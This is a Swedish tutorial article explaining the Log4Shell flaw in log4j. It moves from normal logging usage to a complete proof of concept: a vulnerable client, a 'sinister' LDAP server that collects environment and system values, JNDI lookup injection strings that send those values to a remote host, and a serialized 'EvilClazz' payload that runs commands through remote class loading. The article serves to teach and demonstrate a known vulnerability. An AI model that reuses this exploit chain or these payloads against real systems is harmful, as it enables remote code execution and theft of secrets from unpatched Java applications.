Så här fungerar Log4j buggen Log4Shell
16 minuter i lästid Java Log4j

Så här fungerar Log4j buggen Log4Shell

I början av december 2021 drabbades Java världen av en shock, som det kommer ta lång tid att hämta sig från. Då publicerades en rapport om ett mycket allvarligt säkerhetshål i det mest vanligaste logging ramverket i för Java applikationer, nämligenlog4j.

Säkerhetshålet har klassats som nivå 10 på en 10-gradig skala av CVSS (Common Vulnerability Scoring System) och är av typen zero-day computer-software vulnerability, vilket innebär att problemet var okänt och saknade en lösning. I korthet, innebär det att en inkräktare kan ladda över främmande klasser till en intet ont anande Java applikation, och som t.ex. kan öppna ett kommandotolk (remote shell) för vidare godtycklig ödeläggelse. Därför har detta säkerhetshål döpts till log4shell (CVE-2021-44228), som en ironisk namnlek med log4j.

Log4j

Log4j är ett av de äldsta och mest populära ramverken inom Java världen och tar hand om all form av loggningsutskrifter i en applikation. Det skapades redan i slutet 1990-talet och har betraktas som industristandard för applikationsloggning. I stället för vanliga utskrifter till ett terminalfönster, använder man log4j funktioner. Den stora poängen är sen att man använder en extern konfigurationsfil, för att styra vilka typer av utskrifter man vill ha, samt vart dessa ska skrivas, vilket kan vara till en fil, en database, en JMS kö och mycket mera.

Log4j kodexempel

Så här använder man log4j i sin programkod.

package ribomation;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    final static Logger log = LogManager.getLogger(App.class);
    static {
        log.debug("loaded class {}", App.class.getName());
    }
    void func(int n) {
        log.info("enter func({})", n);
        try { /*...*/ } 
        catch (Exception x) {
            log.error("failed: {}", e.getMessage());
        }
    }   
}

Först skapas ett Logger objekt, med ett distinkt namn, typiskt lika med paket- plus klassnamn. Det är därför man skickar in klassobjektet, som sen anrops med getName(). I klassens medlemsfunktioner (metoder) anropas sedan loggningsfunktioner, vilka motsvarar olika allvarlighetsnivåer, såsom debug, info, warn, error med flera.

Det första argumentet till en dylik loggningsfunktion är en formatsträng, som innehåller text varvat med platshållare i form av "{}". De följande argumenten matchas mot platshållarna i angiven ordning, varpå argumenten evalueras till strängar och substituerar platshållarna. Så om man anropar funktionen ovan med func(42), så genereras en utskrift som kanske ser ut på följande vis.

14:18:04 INFO  ribomation.App: enter func(42)

Konfigurationsfil

Hur utskriften ska se ut och vart den ska skickas görs i en extern konfigurationsfil, som vanligtvis heter log4j2.xml och finns tillgänglig i applikationens class-path. Så här kan en mycket enkel dylik se ut.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss} %-5level %logger{40}: %msg%n"/>
        </Console>
        <File name="LogFile" fileName="/var/log/business-app/app.log">
            <PatternLayout>
                <Pattern>%d %p %c{1.} [%t] %m%n</Pattern>
            </PatternLayout>
        </File>
    </Appenders>
    <Loggers>
        <Logger name="com.some_framework.some_module" level="warn">
            <AppenderRef ref="LogFile"/>
        </Logger>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

I XML filen ovan finns det appenders och loggers. Loggers utgör logiska namn, vilka matchas mot det namn som skickas in när ett logger-objekt skapa i Java-koden. Root avser den generella loggningen (default). Varje logger har också en minsta prioritetsnivå (level), som anger loggutskrifter med lägre nivå ska ignoreras. Den första loggern skiver bara ut för warn och error, medan den generella från debug och uppåt.

Appenders utgör destinationer, såsom terminalen, en fil, en database med flera. Här ovan finns det två stycken; en kopplad till terminalen (Console) och en till en loggfil (LogFile). Med en AppenderRef knyts en logger till en (eller flera) appenders.

Vad utgör kärnan i säkerhetshålet?

För drygt 26 år sedan tog Java internet-världen med storm, då man kunde demonstrera hur ny programkod kunde laddas in i en för övrigt helt statisk webbsida; nämligen teknologin applet. Fram till nyligen så har denna egenskap ansetts som en av de största tekniska fördelarna med Java och ligger till grund för tekniker som dynamisk omladdning (hot-reloading) i moderna applikations-servrar, anrop av fjärrobjekt (remote method invocation) och mycket mera.

I samband med att version 2 av log4j designades, så hade man observerat att moderna Java applikationer hade evolverat från stora monoliter till federationer av mindre specialiserade applikationer, oftast driftsatta i en molnmiljö. Därför ansågs det affärsviktigt att distribuerade Java applikationer kunde hämta konfigurationsdata och annan information centralt i nätverket, i stället för det mer omständliga att kopiera filer till respektive server och manuellt starta om dessa. Kort sagt; skulle log4j vara ett ramverk som "hängde med i tiden". Tekniken kallas för lookups och beskrivs på följande sätt i dokumentationen.

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. [...] Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere. Some of these properties will be resolved when the configuration file is interpreted while others may be passed to components where they will be evaluated at runtime.

Så, en välmenande implementationsegenskap ämnad att underlätta för stora affärsapplikationer, kom att utnyttjas för starkt dubiösa ändamål.

Vad är då StrLookup?

Platshållar-syntaxen med {}, ansågs inte tillräckligt flexibel, så man införde en kompletterade syntax för att på annat sätt expandera text. Denna syntax ser ut på följande vis ${prefix:value}, där prefix bland annat kan vara

  • sys - JVM system properties
  • env - System environment variables
  • jndi - A value set in the default JNDI Context

Här följer några exempel

  • ${sys:java.os}
  • ${env:AWS_SECURITY_TOKEN}
  • ${jndi:ldap://evil-host:1234/some-value}

De två syntaxerna kan kombineras! Så om vi har ett loggningsanrop som ser ut på följande vis

log.info("external: {}", externalArgument);

Samt, en textsträng som kommer "utifrån" med ett innehåll enligt ovan, som kombineras dessa. Häng med på en praktisk kod-demonstration!

Ett Java program som demonstrerar säkerhetshålet

Börja med att hämta två JAR filer för log4j, nämligen log4j-api respektive log4j-core. Enklast är att använda Maven-sökmotorn mvnrepository och söka rätt på log4j.

MVNRepository: search for log4j

För respektive modul, välj en version som fortfarande har säkerhetshålet. I mitt exempel har jag valt version 2.10.0. Klicka på jar knappen och spara filen i t.ex. en lib katalog i ditt projekt.

MVNRepository: search for log4j

Java kod

Kopiera koden nedan och spara som en Java-klass. Du kan fritt använda koden, så om, du vill kan du ändra paket- och/eller klassnamn.

//src/ribomation/LdapClient.java
package ribomation;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LdapClient {
    final static Logger log = LogManager.getLogger(LdapClient.class);
    static {
        log.debug("loaded class {}", LdapClient.class.getName());
    }
    public static void main(String[] args) {
        log.info("begin");
        for (String arg : args)
            try {
                log.warn("cli: {}", arg);
            } catch (Exception e) {
                log.error("ERR: {}", e.getMessage());
            }
        log.info("end");
    }
}

Log4j konfiguration

Kopiera koden nedan och spara i en XML fil med namnet log4j2.xml i src katalogen.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss} %-5level %logger{40}: %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Kompilering

Så här kan det se ut i projekt-katalogen efter kompilering.

  |-- classes
  |   |-- log4j2.xml
  |   `-- ribomation
  |       |-- LdapClient.class
  |-- lib
  |   |-- log4j-api-2.10.0.jar
  |   |-- log4j-core-2.10.0.jar
  `-- src
      |-- log4j2.xml
      `-- ribomation
          |-- LdapClient.java

Kompilera, antingen i en IDE eller på kommandoraden. (Kompilerar du i Windows, byter du kolon mot semi-kolon.)

javac -cp lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar -d classes src/ribomation/LdapClient.java

Enkla körexempel

Kör programmet på följande vis

java -cp classes:lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar ribomation.LdapClient arg-1 arg-2 ...

Harmlösa argument

Kör programmet med argumenten hejsan och hoppsan. Utdata kommer att se ut på följande vis (klockslagen blir givetvis annorlunda)

15:53:23 DEBUG ribomation.LdapClient: loaded class ribomation.LdapClient
15:53:23 INFO  ribomation.LdapClient: begin
15:53:23 WARN  ribomation.LdapClient: cli: hejsan
15:53:23 WARN  ribomation.LdapClient: cli: hoppsan
15:53:23 INFO  ribomation.LdapClient: end

Som synes, ekar programmet kommandorads-argumenten. I detta fall: hejsan respektive hoppsan.

JVM system properties

Kör programmet med argumenten '${sys:os.name}' och '${sys:user.home}'. I mitt fall ser det ut på följande vis. (Du kan givetvis välja andra värden)

15:57:36 DEBUG ribomation.LdapClient: loaded class ribomation.LdapClient
15:57:36 INFO  ribomation.LdapClient: begin
15:57:36 WARN  ribomation.LdapClient: cli: Linux
15:57:36 WARN  ribomation.LdapClient: cli: /home/jens
15:57:36 INFO  ribomation.LdapClient: end

Environment variables

Kör programmet med argumenten '${env:JAVA_HOME}' och '${env:PWD}'. I mitt fall ser det ut på följande vis. (Du kan givetvis välja andra värden)

...
16:03:58 WARN  ribomation.LdapClient: cli: /home/jens/.sdkman/candidates/java/current
16:03:58 WARN  ribomation.LdapClient: cli: /mnt/c/Projects/log4shell/log4j-cli-example
...

Kommunikation med en LDAP server

Om du läst så här långt, funderar du kanske över "What's all the fuss about?". Du har rätt; att läsa av system properties och environment variables, kan väl inte vara så där allvarligt? Det ska vi nu ändra på, nu när vi lagt grunden till att förstå hur log4j fungerar, vad text-substitution anbelangar. Först, behöver vi dock en LDAP server.

Vad är LDAP?

Det är ett protokoll och standard för katalogservrar (directory server). De flesta större organisationer har en dylik, som innehåller information om användarkonton, åtkomstgrupptillhörighet, kontaktuppgifter med mera. En katalogserver används vid inloggning och åtkomstkontroll av olika tjänster.

LDAP betyder Lightweight Directory Access Protocol. Lättviktigheten kan kanske uppfattas ironiskt, eftersom LDAP är ett tämligen komplext protokoll, men var seriöst menat när det skapades i mitten på 1990-talet, och jämförde sig med vad som fanns innan dess.

Vad är JNDI?

Det är ett Java API för att interagera med många typer av katalog- och namnservrar, varav LDAP är ett av dessa. JNDI betyder Java Naming and Directory Interface och utgör en central del i JEE (Java Enterprise Edition) standarden och används på daglig basis i dylika applikationer.

JNDI API

Java LDAP server

Det förvisso ett stort antal LDAP servrar att välja på, men vi behöver en enkel sådan som vi kan kicka igång som en del av ett Java program. Därför kommer vi använda UnboundID LDAP SDK for Java. Börja med att ladda dess JAR fil från MVNRepository. com.unboundid:unboundid-ldapsdk:6.0.3

mvnrepo för UnboundID LDAP SDK

Minimal Java LDAP server

Om du vill testa först hur en liten LDAP server funkar, så kan du kopiera följande kod till en Java klass. Kom ihåg att kompilera och köra med den JAR fil du nyss laddade ned.

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.LDAPException;

    void run() throws LDAPException {
        InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig("dc=ribomation,dc=se");
        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("localhost", 9000));
        cfg.setAccessLogHandler(new ConsoleHandler());
        InMemoryDirectoryServer srv = new InMemoryDirectoryServer(cfg);
        srv.startListening();
    }

Observera att denna server är helt tom och du behöver fylla på med data från t.ex. en fil.

srv.importFromLDIF(true, java.io.File(...))

Implementation av en lömsk Java LDAP server

Vi hoppar dock direkt till att implementera en lömsk (sinister) LDAP server, som demonstrerar säkerhetshålet med uppenbar tydlighet.

Huvudklass

Kopiera in följande kod till en Java klass och justera importerna. Ändra på paketnamn och/eller klassnamn om du känner för det.

package ribomation;
//...imports...
public class SinisterLdapServer {
    public static void main(String[] args) throws Exception {
        SinisterLdapServer app = new SinisterLdapServer();
        app.parseArg(args);
        InMemoryDirectoryServerConfig config = app.configure();
        app.start(config);
    }

    int port = 9000;
    String listenIP = "0.0.0.0"; //means all networks
    String baseDN = "dc=ribomation,dc=se";
    String baseUrl = "http://localhost:" + port + "/";
    String name = "Sinister-LDAP";

    void parseArg(String[] args) {/*...*/}

    InMemoryDirectoryServerConfig configure() throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(baseDN);
        InMemoryListenerConfig listenerConfig = InMemoryListenerConfig.createLDAPConfig(
                name,
                InetAddress.getByName(listenIP),
                port,
                (SSLSocketFactory) SSLSocketFactory.getDefault());
        config.setListenerConfigs(listenerConfig);

        OperationInterceptor interceptor = new OperationInterceptor(new URL(baseUrl));
        config.addInMemoryOperationInterceptor(interceptor);

        return config;
    }

    void start(InMemoryDirectoryServerConfig config) throws LDAPException {
        InMemoryDirectoryServer srv = new InMemoryDirectoryServer(config);
        srv.startListening();

        InMemoryListenerConfig netCfg = config.getListenerConfigs().get(0);
        System.out.printf("LDAP server started on ldap:/%s:%d/%n", 
            netCfg.getListenAddress(), netCfg.getListenPort());
    }
}

Anropshanterarklass

Vi behöver ytterligare en klass, som hanterar anropen. Kopiera följande kod till ytterligare en Java klass och justera import-satserna.

package ribomation;
//...imports...
public class OperationInterceptor extends InMemoryOperationInterceptor {
    private final URL codebase;
    public OperationInterceptor(URL cb) {
        this.codebase = cb;
    }

    @Override
    public void processSearchResult(InMemoryInterceptedSearchResult result) {
        try {
            String req = result.getRequest().getBaseDN();
            System.out.printf("REQ: %s%n", req);
            Entry entry = new Entry(req);
            if (req.startsWith("env")) {
                harvestData("ENV", req);
            } else if (req.startsWith("sys")) {
                harvestData("JVM", req);
            }
            sendResult(result, entry);
        } catch (Exception e1) {
            e1.printStackTrace();
        }
    }

    void sendResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException {
        result.sendSearchEntry(entry);
        int messageId = (int) System.currentTimeMillis();
        result.setResult(new LDAPResult(messageId, ResultCode.SUCCESS));
    }

    void harvestData(String type, String base) {
        try {
            String[] keyVal = base.substring(type.length() + 1).split("=");
            System.out.printf("%s: %s=%s%n", type, keyVal[0], keyVal[1]);
        } catch (Exception x) {
            System.out.printf("failed: %s%n", x);
        }
    }
}

Vi tar detta i två steg, varav detta är det första. Kompilera servern tillsammans med den tredje JAR filen du laddade ned (unboundid-ldapsdk-6.0.3.jar). Starta sedan servern

java -cp classes:lib/unboundid-ldapsdk-6.0.3.jar ribomation.SinisterLdapServer

Ett första test

Tag reda på vilket IP nummer servern har och uppdatera i anropen nedan. Om du kör på samma maskin, kan det räcka med localhost (127.0.0.1). Kör du servern på WLS under Windows 10/11 vill ansluta från en DOS prompt, kan du köra kommandot ifconfig i WLS. Kör ldap klienten och testa både JVM properties och environment variables. De intressant utskrifterna sker nu i serverns terminalfönster.

Linux

CLASSPATH=classes:lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar
java -cp $CLASSPATH ribomation.LdapClient '${jndi:ldap://127.0.0.1:9000/sys/os.name=${sys:os.name}}'
java -cp $CLASSPATH ribomation.LdapClient '${jndi:ldap://127.0.0.1:9000/env/user=${env:HOME}}'

Windows

set CLASSPATH="classes;lib/log4j-api-2.10.0.jar;lib/log4j-core-2.10.0.jar"
java -cp %CLASSPATH% ribomation.LdapClient "${jndi:ldap://172.29.64.212:9000/sys/os.name=${sys:os.name}}"
java -cp %CLASSPATH% ribomation.LdapClient "${jndi:ldap://172.29.64.212:9000/env/user=${env:USERPROFILE}}"

Evil Clazz

Nu kommer vi så äntligen till kärnan i säkerhetshålet; nämligen remote class loading. Kopiera följande kod till en ny Java klass.

package ribomation.evil;
//...imports...
public class EvilClazz implements Runnable, Serializable {
    static {
        System.out.println("!!!! The EvilClazz loaded !!!!");
    }

    @Override
    public String toString() {
        new Thread(this).start();
        return "*** Hi there from the EvilClazz ***";
    }

    @Override
    public void run() {
        String os = System.getProperty("os.name");
        System.out.printf("Running on %s%n", os);

        String cmd;
        if (os.startsWith("Windows")) {
            cmd = "calc";
        } else if (os.startsWith("Linux")) {
            cmd = "xcalc";
        } else {
            return;
        }

        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            System.out.printf("failed exec: %s%n", e);
        }
    }

    public static byte[] mkSerObj() {
        ByteArrayOutputStream buf = new ByteArrayOutputStream();
        try(ObjectOutputStream oos = new ObjectOutputStream(buf)) {
            oos.writeObject(new EvilClazz());
        } catch (IOException e) {
            throw new RuntimeException("failed: " + e);
        }
        return buf.toByteArray();
    }
}

Ta en stund att kika igenom vad koden här ovan gör och eventuellt justera vilket/vilka program (cmd) du vill starta. Just nu så är det respektive miniräknare. Editera sen OperationInterceptor och lägg till följande funktion

Entry prepareObject(Entry entry) {
    entry.addAttribute("javaClassName", EvilClazz.class.getName());
    entry.addAttribute("javaSerializedData", EvilClazz.mkSerObj());
    entry.addAttribute("javaCodeBase", codebase.toExternalForm());
    return entry;
}

Samt, lägg till en ny gren i if-satsen i processSearchResult.

} else if (req.startsWith("load")) {
    entry = prepareObject(entry);
}

Kompilera om servern och starta den på nytt, samt kör klienten nu med direktivet load.

Linux

JNDI API

Windows

JNDI API

Andra sätt att ladda klasser

I detta demo exempel så lagrade jag ett serialiserad object direkt i LDAP server. Alternativet är att starta en HTTP server med en eller flera klasser och skicka tillbaka URL:en till primärklassen (javaCodeBase).

Ingen kod på GitHub

Programkoden i denna artikel kommer inte att finnas tillgänglig för att ladda ned på GitHub eller liknande. Skälet är dels att GitHub har plockat bort liknande demo program och dels att jag tycker du bör begrunda varje kodfragment i denna artikel och göra dina egna anpassningar.

Länkar